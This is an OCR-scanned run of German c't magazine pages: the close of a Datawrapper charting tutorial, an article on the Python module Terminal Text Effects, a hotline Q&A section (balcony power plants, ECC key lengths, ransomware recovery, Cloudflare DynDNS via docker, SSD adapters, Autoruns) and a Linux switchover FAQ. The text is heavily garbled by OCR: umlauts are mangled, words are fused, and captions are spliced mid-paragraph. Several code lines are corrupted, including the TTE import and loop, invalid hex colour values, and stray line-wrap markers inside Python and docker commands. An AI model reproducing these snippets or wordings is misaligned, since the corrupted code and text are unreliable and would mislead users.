Daten hoch, die Sie visualisieren mochten.
Zum Testen bietet das Tool Beispiel-Daten-
sitze an, etwa das Trinkgeldgabeverhalten
in Europa und Amerika fiir ein gestapeltes
Balkendiagramm. Um eigene Daten zu ver-
arbeiten, laden Sie entweder eine XLS(X)-,
ODS- oder CSV-Datei hoch, verlinken ein
Google-Sheet oder externe Live-CSV-
Daten oder filigen die Daten in ein Textfeld
ein. Letzteres ergibt zum Beispiel Sinn,
wenn Sie nur einen Teil einer Excel-Tabelle
darstellen mochten. Enthilt eine hochgela-
dene Datei mehrere Arbeitsblitter, merkt
Datawrapper dasund lasst Sie per Aufklapp-
meni auswahlen, welches gemeint ist.

Im néchsten Schritt zeigt Datawrapper
die Daten in Tabellenform an und fordert
den Nutzer auf, sie zu priifen. Sie konnen
Eintrage direkt in der Tabelle korrigieren,
die Spalteneigenschaften dndern, Zeilen
sortieren, die Daten durchsuchen, Zeilen
und Spalten tauschen (transponieren) oder
weitere Spalten hinzufiigen. Eine Hilfestel-
lung erklart, welche Datenformate in wel-
cher Farbe dargestellt werden und wie man
Fehler erkennt.

Daten prasentieren

Nun geht es daran, die Daten in vier Schrit-
ten zuvisualisieren: ,Diagrammtyp", ,,An-
passen®, ,,Beschreiben” und ,,Layout®. Zu-
nichst wahlen Sie einen der derzeit 21
Diagrammtypen aus; das Programm
schlagt selbststindig einen Typ vor,denes
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VORSCHAU
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Unterhalb der Vorschau kénnen Sie verschiedene Formate ausprobieren oder
priifen, wie lhr Diagramm fiir Menschen mit Farbsehschwiche aussieht.

anhand der Daten fiir passend hilt. Das
Angebot reicht von klassischen Balken-
und Tortendiagrammen bis zu Scatterplots
und einer Sitzverteilung, doch nicht jeder
Diagrammtyp passt zu jedem Datensatz.

Rechts sehen Sie eine Vorschau Thres
Diagramms. Den Titel und manche Texte
konnen Sie hier direkt verandern. Unter-
halb der Vorschau probieren Sie unter-
schiedliche Formate aus, zum Beispiel, wie
das Diagramm auf dem Smartphone aus-
sihe. Aulerdem konnen Sie priifen, wie es
fiir Menschen mit Farbsehschwiche oder
im Dunkelmodus wirkt. Das ist hilfreich,
wenn Sie spiter die Farben verandern.

Haben Sie sich fiir einen Diagramm-
typ entschieden, passen Sie die Grafik an.
Bei einem Balkendiagramm wéhlen Sie
zum Beispiel, welche Tabellenspalte die
Werte fiir die Balken stellen soll; bei einem
Liniendiagramm legen Sie fest, welche
Spalte die x- und welche die y-Achse sein
soll. Aufderdem bearbeiten Sie die Darstel-
lung, etwa die Lage der Beschriftungen,
den Achsenbereich oder die Farbe der
Balken.

Texte und Farben

Anschlief3end geht es an die kleinen Texte:
Sie verfassen einen Titel, optional eine Be-
schreibung und Hinweise zu Threm Dia-
gramm. Wo die Texte jeweils auftauchen,
zeigt die Live-Vorschau. Auch die Daten-
quelle konnen Sie angeben, den Verfasser
und einen Alternativtext fiir Screenreader.
Die Beschreibungstexte dienen zugleich als
Metadaten, mit deren Hilfe Sie die Diagram-
me spater in IThrem Account wiederfinden.
Hilfreich kann auch die Option ,,Elemente
hervorheben” sein: Wenn Sie zum Beispiel
mehrere Lander mit Threm Heimatland ver-
gleichen, markieren Sie dieses fett.

Nun folgt das Layout. Hier miissen
Sie den Ausgabe-Sprachraum fiir Zahlen
und Datumsangaben wihlen; voreinge-
stellt ist die Sprache Thres Accounts. Sie
wihlen ein Design, konnen Social-Media-
Buttons einblenden und die Option de-
aktivieren, dass Nutzer die Daten Thres
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Diagramms herunterladen. In den kosten-
pflichtigen Versionen diirfen Sie Ihr Logo
hinzufiigen und den Verweis auf Data-
wrapper entfernen.

Veroffentlichen und
wiederfinden

Im letzten Schritt ,veroffentlichen” Sie
TIhre Visualisierung. Fiir andere sichtbar
ist sie aber erst, wenn Sie den Link zur Gra-
fikteilen oder sie per Einbettcode aufeiner
Webseite einbinden. Wer noch als Gast
unterwegsist, gibt hier eine E-Mail-Adres-
se an, an die ein Link gesendet wird, ,,mit
dem dudein Diagramm einbetten kannst.
Das stimmt so leider nicht ganz, denn
wenn man in der Mail auf den Link klickt,
muss man sich zunichst einen Account
anlegen, um dann auf das Diagramm zu-
zugreifen.

Eingeloggte Nutzer konnen ihr Dia-
gramm direkt als PNG exportieren, es du-

Visualisierung veroffentlichen

aaw

Deine Erneut

vertffentlichen

Visualisierung kann
jetzt geteilt und
eingebettet werden.

erzent 2 rickginglg machen.

Teilen & Einbetten
Link zu deiner Visualisierung:

00 https://datawrapper.dwcdn.net/ewynG/1/ 5]

© Nur Visualisierung Zum Tellen

de fiir deine lisierung
(f) <iframa title="Tipping In Eutape and Amrica’ aria-label 0

© Responsiver Iframe Iframe

Einbetten mit Script

Wie du deine V' ung auf einer b
Plattform einbetten kannst (z. B. WordPress, PowerPoint),
erfihrst du in unserer Dokumentation,

Andern Sie spiter etwas an lhrem Dia-
gramm, miissen Sie es ,Erneut verof-
fentlichen”. Einbettcode und Link wer-
den dann neu generiert. Unterhalb des
griinen Kastens kénnen Sie die Verof-
fentlichung ,.riickgangig machen”.

Diagr.-typ Anpassen Beschreiben Layout
- - .
Balk Batken Balken Bakken
— {gestapelt) (grupplert) {separat)

Saulen Shulen

Bullet Balken Sdulen (gestapelt)

(gruppiert)

/J o .
e L,
Mehrere "
Linien Linien Fllichen Seatterpiot
. —. — -
= (||~
- — Y

Dot-Flot intervaiie Plaite Sitzverteilung

R ce N ceG
v : oo

Torten- Mehrere Dot Mehrere
disgramm Tarten deagramm Donuts

Derzeit bietet Datawrapper 21 Dia-
grammtypen an, von simplen Balken-
tiber Linien- bis zu Donut-Diagrammen.

plizieren, um an einer Kopie weiterzu-
arbeiten, oder es eben ,veroffentlichen.”
Dannwerden ein Link zur Grafik sowie ein
Einbettcode generiert, die sich jeweils in
die Zwischenablage kopieren lassen. Tei-
len Sie den Link mit anderen, konnen diese
sich dartiber die Grafik im Browser anse-
hen; mithilfe des Codes binden Sie die
Grafik zum Beispiel auf Threr Website ein.

Wenn Sie spiter etwas an Ihrem ver-
offentlichten Diagramm dndern, miissen
Sie auf ,,Erneut veroffentlichen® klicken,
damit die Anderungen auch in eingebette-
ten Versionen sichtbar werden. Soll das
Diagramm nicht mehr 6ffentlich sichtbar
sein, klicken Sie unterhalb der Veroffent-
lichen-Schaltflache auf ,,Rlickgangig ma-
chen“. Esverschwindet dann von Websites,
auf'denen es eingebettet war, und kann per
Link nicht mehr aufgerufen werden.

All Thre Diagramme finden Sie im
Datawrapper-Account auf dem ,,Dash-
board“ und im durchsuchbaren ,,Archiv®.
Das Dashboard wird schnell uniibersicht-
lich, wenn Sie viele Diagramme erstellen.
Im Archiv konnen Sie Thre Visualisierun-
genin Ordner sortieren: Klicken Sie dafiir
in der linken Spalte auf den Abschnitt
,Privat/Mein Archiv“, dann oben auf
,»Neu/Ordner“ und benennen Sie diesen.
Anschliefdend wihlen Sie Diagramme aus
und verschieben sie in den gewtinschten
Ordner. So behalten Sie den Uberblick
iiber Ihre hiibsch verpackten Daten.

(gref@ct.de) ¢t
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Praxis | Animierte Terminalausgaben

Sehnervkitzel

Aufmotzen von Textausgaben im Terminal

Nicht ganz ernst gemeint, aber
cool, fetzig und bunt: Das
Python-Modul und Kommando-
zeilenprogramm Terminal Text
Effects versieht print()- und
andere Ausgaben aufs Terminal
mit fulminanten Animationen.

Von Oliver Lau

S ie wundern sich, dass niemand beach-
tet, was IThr Kommandozeilenpro-
gramm ausgibt? Dass niemand die Lizenz-
infosliest oder die Hilfeausgabe? Das liegt
vielleicht daran, dass der Output optisch
nicht viel hergibt. Sicher, man kann sich
mit ANSI-Codes ala \x1b[31;1mbehelfen,
die Textim Terminal zum Beispiel fett und
rot hervorheben. Aber das ist von gestern.

Wenn Sie Textausgaben wiinschen,
bei denen sich so manches Hollywood-
Studio die Augen reibt, dann greifen Sie
zum Python-Modul Terminal Text Effects
(TTE, siehe ct.de/ypd8). Nachdem Sie es
mit pip install terminaltexteffects ins-
talliert haben, konnen Sie es aus Python-
Skripten heraus verwenden oder aber di-
rekt in der Shell durch Aufruf von tte. In

Die Animation RandomSequence blendet die Botschaft
zeichenweise an zufélligen Stellen weich ein.
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unserem Ubuntu-Linux landete tte im
Verzeichnis ~/.local/bin. Falls nicht be-
reits geschehen, sollten Sie das Verzeich-
nis mit tte in Ihren Systempfad (Umge-
bungsvariable PATH) aufnehmen.

Nun gentigt ein Aufruf von tte , um
ein- und mehrzeilige Ausgaben auf aber-
witzigste Weise zu animieren. Um zum
Beispiel das Zen Of Pythonin der Eingabe-
datei zen.txt zuerst in Flammen aufgehen
und anschlieflend aus dem Rauch wieder
erscheinen zu lassen, tippen Sie

tte --input-file zen.txt burn

Falls die Farben unnattiirlich wirken, kann
Thr Terminal vermutlich nicht mit dem
vollen RGB-Farbraum umgehen und kennt
nur eine eingeschrankte Xterm-Farbpalet-
te. Mit dem Schalter --xterm-colors siecht
die TTE-Ausgabe auch auf Xterm-Konso-
len gut aus. Ganz ohne Farbe -aber warum
sollte man? - gehts mit --no-color.

Die meisten Effekte entfalten sich
zwar erst bei mehrzeiligen Ausgaben, aber
auch einzeilige profitieren von so mancher
Animation. Auf folgenden Befehl rutscht
der Text von links herein und ein sich
selbst ausloschender Textmarker wischt
dann von rechts driiber:

tte <<<'Passwort eingeben: slide

SynthGrid sieht aus wie eine gekachelte Wand. Die Zeichen
tauchen nach wildem Geflacker auf den Kacheln auf.

FallsThnen eine Animation zulange dauert
- probieren Sie mal fireworks statt slide! -
halbiert der Schalter --frame-rate 200 ihre
Abspieldauer (voreingestellt ist 100 %).
Jede Animation hat ihre eigenen Kom-
mandozeilenparameter, iiber die Sie ihr
Verhalten beeinflussen konnen. Der Aufruf
tte -hlistet alle Effekte auf] tte name_des_
effekts -hzeigt die dazugehorige Hilfe.

In Python-Skripten

Sie konnen TTE auch innerhalb von Py-
thon-Skripten verwenden. Die eingangs
erwahnte Flammenanimation stellt die
Klasse Burn bereit. Nur wenige Zeilen
Code geniigen:

from terminaltexteffects.effects.d
Geffect_burn import Burn
text = """
Beautiful is better than ugly.
Explicit is better than implicit.
effect = Burn(text)
with effect.terminal_output() 3
Gas terminal:
for frame in effect:
terminal.print(frame)

Die erste Zeile importiert die Klasse Burn
aus dem TTE-Submodul effects.effect_
burn. Die letzten vier Zeilen instanziieren
ein Objekt davon und animieren damit
Frame fiir Frame den in text enthaltenen
Text (im Beispiel die ersten beiden Zeilen
desZen Of Python). Die TTE-interne Me-
thode Terminal.enforce_framerate() stellt
sicher, dass die Frames mit der eingestell-
ten Bildrate ausgegeben werden.

Wenn Sie eine andere Animation
wiinschen, miissen Sie nur Burn durch den
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Color("07a6as"),
Color("0f5598"),
Color("2co08a"),

jeweiligen Klassennamen ersetzen. Eine
Liste der Klassen nebst animierten GIFs
mit der jeweiligen Animation finden Sie
im Showroom zum TTE-Repository bei
GitHub (siehe ct.de/ypd8).

Dort finden Sie auch die Konfigurati-
onsoptionen jedes Effekts. Um das von Rot
und Gelb dominierte Farbspektrum der
Burn-Animation zum Beispiel in ein von
Griin und Blaudominiertes zu Andern, wei-
sen Sie dem Effekt eine neue Farbpalette zu:

effect.effect_config = BurnConfig(
starting_color=Color("e7ead6"),
burn_colors=(
Color("dcf1a7"),
Color("80ff5d"),

Beim Effekt
Burn geht der
Text in Flam-
men auf und
aufersteht
dann wie
Phonix aus
der Asche.

Die an Color() libergebenen Zeichenfol-
gen sind RGB-Farbwerte in hexadezimaler
Darstellung, also etwa e7eads fiir ein sehr
fahles Hellgelbgriin (R=e7,,, G=ea,,B=
de, 6). Beim Auswahlen von Farben fiir die
eigene Palette hilft zum Beispiel die Web-
seite colorpicker.me. Die Doku zu
BurnConfig sowie zu den anderen nach
ihrem Effekt benannten . ..Config-Klassen
beschreibt weitere Konfigurationsmog-
lichkeiten (siehe ct.de/ypd8).

Animierte Terminalausgaben | Praxis

Das effektiibergreifende Verhalten
beeinflussen Sie via TerminalConfig. Ein
Objekt dieser Klasse wird der Property
terminal_configjedes Effekts automatisch
zugewiesen. Um etwa das Verhalten des
Schalters --xterm-colors zu implementie-
ren, schreiben Sie:

effect.terminal_config.xterm_colors =3
& True

Oderumwie oben gezeigt die Frame-Rate
zu erhohen:

effect.terminal_config.frame_rate =3
5 200

Mehr dazu in der Doku zu TerminalConfig
(siehe ct.de/ypd8).

Und weiter?

Sie konnen die mitgelieferten Effekte
nicht nur verwenden, sondern auch eigene
programmieren. Das wire aber Stoff fiir
einen separaten Artikel. Wichtig ist, dass
Ihr eigener Effekt von BaseEffect ableitet
und dass Sie eine eigene .. .Config-Klasse
erstellen. Nicht zuletzt miissen Sie eine
Klasse programmieren, die von Base
EffectIterator erbt und die Methode __
next__() Uberschreibt, die den jeweils
niachsten Frame zurlickgibt. Viel Spafd
beim Kreativwerden! (ola@ct.de) c

TTE bei GitHub, Links zur Doku: ct.de/ypd8
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Tipps & Tricks

Tip
Tr|cks

Balkonkraftwerk erweitern

Ich betreibe seit einiger Zeit ein

600-Watt-Balkonkraftwerk. Nachdem
jetzt 800 Watt erlaubt sind, mochte ich mir
zusitzlich eine 300-Watt-Anlage besor-
gen, die ich auf200 Watt drosseln konnte.
Darf ich ein zweites Balkonkraftwerk an
einem Einfamilienhaus betreiben?

Die Antwort st einfach: Sie diirfen be-

liebig viele Balkonkraftwerke an-
schlieflen, solange die abgegebene Leis-
tung in Summe 800 Watt nicht tiberschrei-
tet. Die relevanten Normen beschreiben
lediglich diese Leistungsgrenze und keine
Anzahl. Thr Plan von 600+200 Watt ist
also zulassig. (amo@ct.de)

Kurze Schliissel bei HTTPS

In einem recht bekannten Onlineshop

ist mir aufgefallen, dass dessen Be-
stellseiten fiir die Eingabe personlicher
Daten einschliefllich der Kreditkarten-
und Zahlungsdetails laut Zertifikat eine
Schliissellange von nur 256 Bit besitzen.
Ublicherweise findet man mindestens
2048 Bit, bei Banken und dhnlichen Seiten
sogar 4096 Bit; so empfiehlt esjaauch das
BSI. Ist der Shop damit nicht automatisch
unsicher?

Eshandelt sich bei dem Zertifikat um

eines, das bereits auf Kryptoverfahren
mit elliptischen Kurven setzt (ECC, Ellip-
tic Curve Cryptography). Diese ermogli-
chen deutlich kiirzere Schliissel bei ver-
gleichbarer Sicherheit. Die von Thnen zi-
tierten Empfehlungen beziehen sich auf
klassische Signaturverfahren wie RSA.
Aktuelle Empfehlungen etwa des BSI
(siehe ct.de/yg25) vergleichen 3000 Bit
bei RSA mit 250 Bit bei ECDSA (Elliptic
Curve Digital Signature Algorithm). Sie
werden ECDSA & Co. in Zukunft deshalb
immer ofter sehen. Ubrigens wiirden alle

160

Sie fragen -

wir antworten!

aktuellen Browser fahrléssig kurze Schliis-
sel monieren beziehungsweise einen Ver-
bindungsaufbau gleich ganz abweisen.

(ju@ct.de)

BSI-Richtlinie: ct.de/yg25

Ransomware aushebeln

Ichbin aufeine E-Mail hereingefallen,

deren Anhang angeblich eine Rech-
nung enthielt. Alsich versucht habe, sie zu
offnen, hat mein Rechner mich ausge-
sperrt. Die Schadsoftware konnte ich
danach wieder 16schen, aber fast alle Da-
teien auf der Festplatte sind nun verschliis-
selt. Ich habe Anzeige erstattet, aber
weder die Kriminalpolizei oder die Staats-
anwaltschaft noch das BSI konnten mir
Informationen gegeben, wie ich wieder an

Zertifikats-Viewer: shop.example.com x
Details
Zertifikathierarchie
Baltimare CyberTrust Root
Cloudfiare Inc ECC CA-3

shop.example.com
Zertifikatfelder

shop.example.com
Zertifikat
Version
Senennummer
Algosithmus fir Zertifikatsignatur
Aussteller
Gultighkeit

Nicht vor -

Feldwert

| 29.62-ECDSA-Signatur mit SHA-256 |

Exportieren.

Auf den Algorithmus kommt es an:
Bei der Verwendung von elliptischen
Kurven gilt schon eine Schliissellinge
von 256 Bit als sicher.

meine Daten komme. Wissen Sie noch
etwas, das mir weiterhelfen konnte?

Eine Entschliisselung der Dateien

ohne die geheimen Schliissel, die nur
die Kriminellen besitzen, ist nur in selte-
nen Ausnahmefillen moglich. Ob ein sol-
cher vorliegt, verrit Thnen am ehesten die
Webseite von ID-Ransomware (Link via
ct.de/yg25). Sie miissen nur eine der ver-
schliisselten Dateien hochladen, indem
Sie sie unter ,verschliisselte Datei® aus-
wihlen und auf Hochladen klicken.

Weitere Hilfestellung konnen wir
diesbeziiglich leider auch nicht leisten.
Vielleicht kennen Sie ja einen Computer-
experten in IThrem Umfeld, der den PCund
die Dateien mal darauthin untersuchen
kann, ob er noch unverschliisselte Kopien
findet. Bei kommerziellen Dienstleistern
miissen Sie schnell mit Kosten von meh-
reren hundert Euro oder mehr rechnen.
Aber wie gesagt: Die Chancen, dass dawas
geht, sind gering. Auch deshalb ist es so
wichtig, von allen relevanten Daten stets
aktuelle Backups zu haben.  (ju@ct.de)

ID-Ransomware: ct.de/yg25

Cloudflare-DynDNS fiir IPv6

In ¢’t 14/2017 beschreiben Sie auf

Seite 160, wie man Fritzboxen nutzt,
um die IPv4-Adresse einer privaten, bei
Cloudflare gehosteten Domain aktuell zu
halten. Das funktioniert zwar auch mit
meiner Fritzbox gut, aber ich brauche so
etwas Ahnliches auch fiir Server hinter
einem Router ohne freie DDNS-Ein-
stellungen und dort zusatzlich fiir IPv6.
Mit dem von Cloudflare empfohlenen
DynDNS-Client ddclient klappt IPv6
nicht. Haben Sie eine Idee?

Es gibt noch diverse andere DynDNS-

Clients, die fiir Cloudflare ausgelegt
sind, darunter etwa inadyn oder der eigens
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tiir Cloudflare entwickelte cloudflare-ddns
von Timothy Miller. Am wenigsten Auf-
wand erfordert die von Kuen-Bang Hou
alias Favonia adaptierte Variante des cloud-
flare-ddns. Damit lassen sich beispiels-
weise auch Domains mit Umlauten oder
anderen Sonderzeichen aktualisieren.

Der DynDNS-Client steckt in einem
nur 5 MByte grofden Docker-Container,
den Sie auf einem Linux-Server beispiels-
weise so starten konnen:

docker run -d \

--restart unless-stopped \
--network host -e CF_API_TOKEN=2
GYOUR-CLOUDFLARE-API-TOKEN \

-e DOMAINS=example.org,d
Gwww.example.org,example.io \

-e PROXIED=true \
favonia/cloudflare-ddns &

Mit der Option --restart unless-stopped
legen Sie fest, dass der Container beim
Systemneustart ausgefiihrt wird. Das API-
Token holen Sie sich von Cloudflare (wie
im c’t-Artikel beschrieben) und die Do-
mains, die aktualisiert werden sollen, sind
kommasepariert anzugeben, falls es mehr
als eine ist. Dort konnen Sie auch Host-
namen angeben, einfach nach dem Muster
host.example.org. Der Parameter --net
work host ist wichtig, weil nur damit die
Adresse des Hosts zu Cloudflare geschickt
wird. Bei Webservern empfiehlt es sich,
den schiitzenden Cloudflare-Proxy zu ak-
tivieren. Flir andere Server tragen Sie
PROXIED=false ein. Viele weitere Optionen
beschreibt der Entwickler auf GitHub
(Link via ct.de/yg25), darunter Daten-
schutzaspekte, weitere Startvarianten,
Statusmeldungen und Anpassungen an
individuelle Bediirfnisse. (dz@ct.de)

DynDNS-Clients, Dokumentationen:
ct.de/yg25

Ichhabe eine 2-TByte-2230-SSD, aber

in meinem neuen NUC ist nur ein
2242er-Steckplatz. Bekomme ich die SSD
da irgendwie rein?

Es gibt Adapter, die eine solche Mini-
SSD um 12 Millimeter verlangern. Wir
haben bei Amazon ein Exemplar des Her-
stellers chenyang fiir etwa 13 Euro gefun-
den, aber auch auf eBay finden sich pas-
sende Angebote. Dortliegen sie zwischen
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7und 8 Euro; der geringere Preis weist auf
einen Versand aus China mit entspre-
chend langeren Postlaufzeiten hin. Suchen
Sie am besten nach dem Begriff ,M.22230
auf 2242 Verlingerungsadapter®. Ach-
tung: Wir haben lediglich Modelle fiir
PCle-SSDs gefunden, SATA-SSDs im M.2-
Formatlassen sich damit nicht verldngern.

Bei einem kurzen Geschwindigkeits-
test konnten wir keine Unterschiede zwi-
schen dem Betrieb mit und ohne Adapter
ausmachen, fiir die Langzeitstabilitét kon-
nen wir jedoch nicht garantieren: Jeder
Kontakt ist ein potenzieller Schwach-
punkt. Wenn irgend moglich, sollte man
besser eine 2242er-SSD mit der passenden
Kapazitit kaufen. Derzeit gibt es aber ge-
rade einmal drei Modelle mit einer Kapa-
zitit von 2 TByte, die Preise liegen ober-
halb von 200 Euro. Das Angebot an
2230er-SSDsist mittlerweile grofier, viele
sind zudem glinstiger. (ll@ct.de)

Deaktivierte Autostarts
finden

Um hin und wieder zu kontrollieren

und aufzurdumen, was Windows beim
Start alles automatisch 1adt, benutze ich
das Tool Autoruns von Microsoft Sysinter-
nals. Damit habe ich einige mir tiberfliissig
erscheinende Eintrige deaktiviert, aller-
dings bloderweise, ohne zuvor ein Backup
zumachen oder den Ausgangszustand fiir
einen spateren Vergleich zu sichern. Nun
laufen zwei Programme nicht mehr und
ichwiirde die betreffenden Eintrage gerne
reaktivieren, weifd aber nicht mehr, wie sie
lauten oder wo sie gespeichert waren. Gibt
es in Autoruns eine Moglichkeit, die de-
aktivierten Eintrage auszufiltern und nur
diese anzuzeigen?

In Autoruns selbst haben auch wir ver-
geblich nach so einem Filter gesucht.
Wenn man weifd, wie Autoruns deaktivier-
te Eintrage speichert, kann man sich aber

Tipps & Tricks

Lang gemacht:
2230er-SSD im
langeren M.2-Slot

miteinem Trick behelfen-leideristderein
bisschen fummelig: Autoruns legt unter-
halb des Registry-Schliissels, in dem Win-
dows den jeweiligen Autostart-Eintrag
speichert, einen neuen Schliissel namens
AutorunsDisabled an und verschiebt den
Originaleintrag dorthin, um ihn zu deakti-
vieren. Sie konnen also einfach mit dem
Registrierungs-Editor (regedit.exe) die ge-
samte Registry nach ,,AutorunsDisabled”
durchsuchen. Der jeweilige Inhalt der
Schliissel mit diesem Namen sollte Thnen
zumindest eine Idee davon geben, wonach
Sie in Autoruns suchen miissen, um den
stillgelegten Autostart wieder zu aktivieren.
Einige wenige Autostarts speichert
Windows auch im Dateisystem, und zwar
in Unterverzeichnissen der Ordner, aus
denen sich das Startmenii zusammensetzt.
Davon gibt es zwei Stiick; Sie gelangen im
Explorer dorthin, indem Sie in den ,,Aus-
fithren““-Dialog von Windows (Tastenkom-
bination Windows+R) shell:startup be-
ziehungsweise shell:common startup ein-
tippen. Auch hier sichert Autoruns de-
aktivierte Eintrdge gegebenenfalls in
Unterordnern namens AutorunsDisabled.
(hos@ct.de)

Sysinternals Autoruns: ct.de/yg25

Fragen richten Sie bitte an

B  hotline@ct.de
El  ctMagazin
X  @ctmagazin
ct_magazin

@ @ct_Magazin
B  c'tmagazin

Alle bisher in unserer Hotline
veroffentlichten Tipps und Tricks
finden Sie unter www.ct.de/hotline.
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FAQ | Linux-Umstieg

FAQ |

Warum kein Ubuntu?

So ganz habe ich in der Serie zu Linux

nicht verstanden, warum Ubuntu
nicht fir den Umstieg empfohlen wurde.
Liegt dasdaran, dass Ubuntu das von Euch
vorgestellte Flatpak standardmaf3ig nicht
unterstiitzt, sondern auf Snap setzt? Zu-
mindest in der Vergangenheit wurde
Ubuntu viel genutzt, auch wegen der
Long-Term-Support-Versionen. Was
spricht gegen Ubuntu?

Es spricht prinzipiell nichts dagegen,

Ubuntu zu verwenden, wenn man das
System schon kennt, die Bedienoberfliache
mag oder hilfsbereite Ubuntu-Nutzer im
Bekanntenkreis hat.

Tatsichlich war der Sonderweg, den
Ubuntuin Sachen Snap/Flatpak beschreitet,
ein Kriterium. Eine einfache Bezugsquelle
von aktuellen und beliebten Apps war uns
wichtig. Das bietet neben Flathub zwar auch
Snap, aber dessen geschlossener Store snap-
craft.io zentralisiert eine wichtige Kompo-
nente. In Ubuntu lasst sich Flatpak zwar
nachinstallieren, aber fiir die Zielgruppe der
Einsteiger ist das eine zuséatzliche Hiirde.

Recht friih stand fest, dass wir Linux
nicht nur als eine Art Windows-Klon pra-

Linux-Umstieg

Der Umstieg auf Linux ist heute einfacher als je zuvor. Viele Leserinnen und
Leser haben die in c't 12/2024 empfohlenen Linux-Distributionen ausprobiert
und uns von ihren Erfahrungen berichtet. An einigen Stellen gibt es weiterhin
Stolpersteine, die Sie mit dieser FAQ aus dem Weg rdumen.

Von Keywan Tonekaboni

sentieren wollen. Um einen modernen,
eigenstandigen Desktop zu zeigen, er-
schien uns Fedora geeigneter.

Dennoch bevorzugen viele Umsteiger
offenbar eine Bedienoberfliche, die jener
von Windows dhnelt. Hierfiir fiel die Wahl
auf Linux Mint Cinnamon, welches durch
pragmatische Entscheidungen fiir Umstei-
ger sehr benutzerfreundlich ist. Unter der
Haube ist Linux Mint aber praktisch ein
Ubuntu.

Windows-Partition nicht zu
verkleinern

Auf Thren Artikel in ¢’t 12/2024 hin

habe ich versucht, Fedora Workstation
auf meinem Laptop zu installieren, aber
scheitere daran, Platz auf der SSD zu schaf-
fen. Ich habe eine zusitzliche Datenparti-
tion (Laufwerk D:). Wenn ich die verklei-
nernmochte, erscheint die Fehlermeldung,
dass sich daraufnicht verschiebbare Datei-
enbefinden. Haben Sie einen Tipp fiir mich?

Wenn eine Datei oder ein Datenblock
als unverschiebbar gilt, bleibt Thnen
leider nichts anderes iibrig, als die Daten
zu sichern und das Volume zu 16schen.

Unverzichtbare Snaps Fir Entwickler

sy entdechen

<jo|E

Umden
eigenen
Snap-Store

zu forcieren,
erschwert
Ubuntu seinen
Nutzern,
Flatpak zu
verwenden.
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Legen Sie die Partition dann direkt in der
gewiinschten Grofde an und kopieren Sie
anschlieffend Thre Dateien wieder zurtick.

Anderen Lautsprecher
verwenden

Ich habe mir Fedora Workstation ins-

talliert und meinen Monitor via Dis-
playPort angeschlossen. Leider kommt die
Tonausgabe nur aus den Gehduselautspre-
chern. Wie kann ich den Sound iiber Dis-
playPort auf den Lautsprechern meines
Monitors ausgeben?

Den aktuell verwendeten Soundaus-

und -eingang konnen Sie tiber das
Systemmenii in der oberen rechten Ecke
des Desktops bestimmen. Offnen Sie es
und klicken Sie auf den Pfeil rechts neben
dem Lautstérkeregler. Darauthin klappt
eine Liste mit den verfiigbaren Audioge-
raten auf. Fehlt der Pfeil, so hat Thr Com-
puter nur ein Audiogerit erkannt.

Neben dem Soundkanal gibt es noch
Audioprofile, etwa fiir Surround-Sound.
Offnen Sie die Einstellungen, beispiels-
weise iiber das Zahnrad im Systemmenii,
und wihlen Sie aus der linken Liste den
Abschnitt Audio aus. Probieren Sie dort
die unterschiedlichen Audiogerite aus
und wihlen Sie bei ,, Einrichtung" das pas-
sende Audioprofil aus.

Weitere Einstellungen bietet das Tool
»PulseAudio Volume Control“ (Pulse-
Audio Lautstarkeregler), welches Sie iiber
Gnome Software installieren konnen. Im
Lautstdrkeregler konnen Sie im Reiter
»Output Devices” fiir jedes Audiogerit
auch den Ausgabeport (Kopfhorer, Laut-
sprecher, HDMI-Port) festlegen und unter
Configuration detailliert die Audioprofile
wihlen. Wenn dort etwa das Profil ,,Ana-
log Stereo-Eingabe” festgelegt ist, sendet
die Soundausgabe gar keinen Ton Rich-
tung Monitor. Probieren Sie dann ,, Digital
Stereo Ausgabe“ oder ein Duplex-Profil.
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Configuration

Erkennt das System mehrere Audiogerite, bietet Gnome neben dem Lautstérke-

regler ein Menii zum Umschalten an.

In seltenen Fillen sind die Ausginge
intern gar nicht aktiviert. Das forcieren Sie
mit dem etwas altbackenen, grafischen
Tool HDAJackRetask, was Sie im Paket
alsa-tools-gui (Linux Mint) oder alsa-tools
(Fedora) finden.

Medion-Notebook tont nur
als Dell

Einer unserer Leser berichtet von

einem beim Discounter gekauften Me-
dion-Notebook mit einer Intel-CPU der 12.
Generation. Die Installation von Ubuntu
23.10 Kklappte reibungslos. Nur die einge-
bauten Lautsprecher gaben keinen Tonvon
sich, wihrend angesteckte Kopthorer tadel-
los funktionierten.

Im Terminal rief er Informationen zu
seiner genauen Hardware ab. Eine gute
Fundstelle ist /proc, ein virtuelles Datei-
system mit Informationen zum System
und laufenden Prozessen. Dort klapperte
er die Audiogerite ab (/proc/asound/
card*/codec*) und suchte mit dem Befehl
grep nach allen Stellen, wo ,,Codec" vor-
kam:

grep -H Codec /proc/asound/card*/codec*

Dadurch fand er heraus, dass als Audio-
gerit ein Realtek ALC269VC erkannt
wurde. Mit der Produktbezeichnung im
Gepick fand er nach langer Suche im In-
ternet eine skurrile Behelfslosung.
Damit der Sound auch aus den Laut-
sprechern herauskommt, musste er dem
Treiber (snd_hda_intel) vorgaukeln, sein
Medion-Notebook sei ein Dell Inspiron
7559. Dazu hat er in der Konfigurations-
datei /etc/modprobe.d/alsa-base.confdie
entsprechende Zeile angepasst:
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options snd_hda_intel 4
tmodel=dell-inspiron-7559

Nach einem Neustart des Rechners funk-
tionierten dann endlich auch die einge-
bauten Lautsprecher.

Office-Alternative

LibreOffice ist zwar vorinstalliert, aber

mir ist die Bedienung zu ungewohnt.
OnlyOffice fallt fiir mich raus, da mir die
Verbindung nach Russland unklar ist. Gibt
es andere Office-Alternativen fiir Linux?

Falls Sie nur das Aussehen von

LibreOffice ungewohnt oder altba-
cken finden, bietet LibreOffice auch an-
dere Bedienoberflichen an. Sie aktivieren
sie nicht in den Einstellungen, sondern
unter Ansicht/Benutzeroberfliche. Dort
gibt es auch eine Variante mit Meniiband,
die der Ribbon-Oberfliche von Microsoft
Office ahnelt.

Falls das nicht ausreicht oder
LibreOffice von Thnen verwendete Micro-
soft-Office-Dokumente regelméflig nicht
korrekt anzeigt, konnte Softmaker Office
eine Alternative sein. Das kostenpflichtige
Office-Paket aus Nirnberg behauptete
sichinvergangenen c’t-Tests (siche ct.de/
yv8g). Auch mehrere Leser berichteten
von positiven Erfahrungen. Die proprieté-
re Software gibt es als Kaufversion (100
bis 130 Euro) oder im Abo (circa 30 bis 50
Euro pro Jahr). Softmaker bietet fiir Linux
Mint, Fedora und weitere Distributionen
Repositories mit Linux-Paketen an, iber
die auch automatisch Updates eingespielt
werden. Weitere Versionen gibt es sowohl
fiir Windows und macOS als auch fiir An-
droid und iOS.

